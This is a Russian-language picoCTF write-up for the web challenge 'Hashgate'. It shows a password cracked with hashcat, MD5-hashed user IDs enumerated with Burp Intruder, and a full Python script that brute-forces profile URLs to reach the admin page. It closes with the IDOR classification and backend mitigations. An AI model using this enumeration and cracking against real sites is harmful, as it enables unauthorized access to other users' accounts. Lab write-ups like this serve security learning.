

1. WriteUp: PICO-CTF

Автор: nedo-offsec

Дата: 20 июля 2026

Задание: Hashgate

Категория: Web

Сложность: Medium 100 pts

2. Задание

You have gotten access to an organisation's portal. Submit your email and password, and it redirects you to your profile. But be careful: just because access to the admin isn't directly exposed doesn't mean it's secure. Maybe someone forgot that obscurity isn't security... Can you find your way into the admin's profile for this organisation and capture the flag?

3. Решение

1. Находим креды в комментарии страницы:

```
<!-- Email: guest@picoctf.org Password: guest -->
```

2. Входим в систему и видим url:

```
http://crystal-peak.picoctf.net:62463/profile/user/e93028bdc1aacdfb3687181f2031765d
```

3. Расшифруем MD5 hash:

```
echo "e93028bdc1aacdfb3687181f2031765d" > hash.txt
```

```
# Взламываем словарной атакой (rockyou.txt)
```

```
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
```

```
# Если нашел — показать результат
```

```
hashcat -m 0 hash.txt --show
```

```
hashcat (v7.1.2) starting
```

```
OpenCL API (OpenCL 3.0 PoCL 7.1 Linux, Release, RELOC, LLVM 20.1.8, SLEEP, DISTR0, CUDA, POCL_DEBUG) - Platform #1 [The pocl project]
```

```
=====
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i7-12700H, 5775/11550 MB (5775 MB allocatable), 20MCU
```

```
Minimum password length supported by kernel: 0
```

```
Maximum password length supported by kernel: 256
```

```
Hashes: 1 digests; 1 unique digests, 1 unique salts
```

```
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
```

```
Rules: 1
```

```
Optimizers applied:
```

- * Zero-Byte
- * Early-Skip
- * Not-Salted
- * Not-Iterated
- * Single-Hash
- * Single-Salt
- * Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 517 MB (8911 MB free)

Dictionary cache hit:

- * Filename.: /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
- * Passwords.: 14344384
- * Bytes.....: 139921497
- * Keyspace...: 14344384

e93028bdc1aacdfb3687181f2031765d:3000

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 0 (MD5)
Hash.Target.....: e93028bdc1aacdfb3687181f2031765d
Time.Started.....: Mon Jul 20 15:45:28 2026 (0 secs)
Time.Estimated...: Mon Jul 20 15:45:28 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.....: File (/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#01.....: 6290.6 kH/s (0.60ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 2293760/14344384 (15.99%)
Rejected.....: 0/2293760 (0.00%)
Restore.Point....: 2273280/14344384 (15.85%)
Restore.Sub.#01...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 394957 -> 2koolaid
Hardware.Mon.#01.: Temp: 50c Util: 6%

Started: Mon Jul 20 15:45:19 2026

Stopped: Mon Jul 20 15:45:29 2026

e93028bdc1aacdfb3687181f2031765d:3000

4. Попробуем погулять по другим подобным URL при помощи скрипта:

```
import hashlib

numbers = [i for i in range(3000, 3000 + 100)]
for num in numbers:
    hash_value = hashlib.md5(str(num).encode()).hexdigest()
    print(f"{hash_value}")
```

5. Заходим в Burp Suite Intruder и закидываем Payload. В результате находим страницу с code page 200:

```
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 63
ETag: W/"3f-J90SAsUND26bwqw1BKzGEk063y0"
Date: Mon, 20 Jul 2026 12:49:18 GMT
Connection: keep-alive
Keep-Alive: timeout=5
```

Welcome, admin! Here is the flag: picoCTF{id0r_unl0ck_090019fc}

4. Полный EXPLOIT

```
import hashlib
import requests

def exploit(target_url: str) -> None:
    for i in range(3000, 3100):
        h = hashlib.md5(str(i).encode()).hexdigest()
        r = requests.get(target_url + "/profile/user/" + h)
        if "picoCTF" in r.text:
            print(f"Found: {i} -> {h}")
            print(r.text)
            break

if __name__ == '__main__':
    url = "http://crystal-peak.picoctf.net:61047"
    print(f"Запускаем exploit по цели: {url}")
    exploit(target_url=url)
```

5. Категория

Это CWE-639 IDOR: Insecure Direct Object Reference

CVSS 5.3 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

- **Вектор атаки (AV:N):** Сеть — эксплойт доступен удаленно.
- **Сложность атаки (AC:L):** Низкая — достаточно отправить запрос с измененным ID.
- **Привилегии (PR:L):** Требуется авторизация (нужно быть залогиненным).
- **Влияние на конфиденциальность (C:L):** Частичное — раскрываются данные других пользователей.

6. Как противостоять этому?

1. Проверка прав на бэкенде (обязательно)

При запросе `/profile/user/{id}` сервер должен сверять `id` из URL с `user_id` из сессии или JWT-токена. Если не совпадают — возвращать 403 Forbidden.

Пример на Node.js (Express):

```
app.get('/profile/user/:id', (req, res) => {
  const requestedId = req.params.id;
  const sessionId = req.session.userId; // или из JWT

  if (requestedId !== sessionId) {
    return res.status(403).send('Forbidden');
  }
  res.send(`Welcome, user ${requestedId}!`);
});
```

2. Использовать непредсказуемые идентификаторы

Заменить числовые ID на UUID v4:

```
import uuid
user_id = str(uuid.uuid4()) # "f47ac10b-58cc-4372-a567-0e02b2c3d479"
```

Перебор UUID за разумное время невозможен.

3. Не полагаться на обфускацию

MD5 от числа 3000 — это не защита, а “security through obscurity”. Если нужно скрыть ID, используйте криптостойкие токены с солью (например, HMAC).

4. Логирование подозрительных действий

Любые запросы к чужим ID (особенно если они возвращают 403) должны логироваться для обнаружения атак.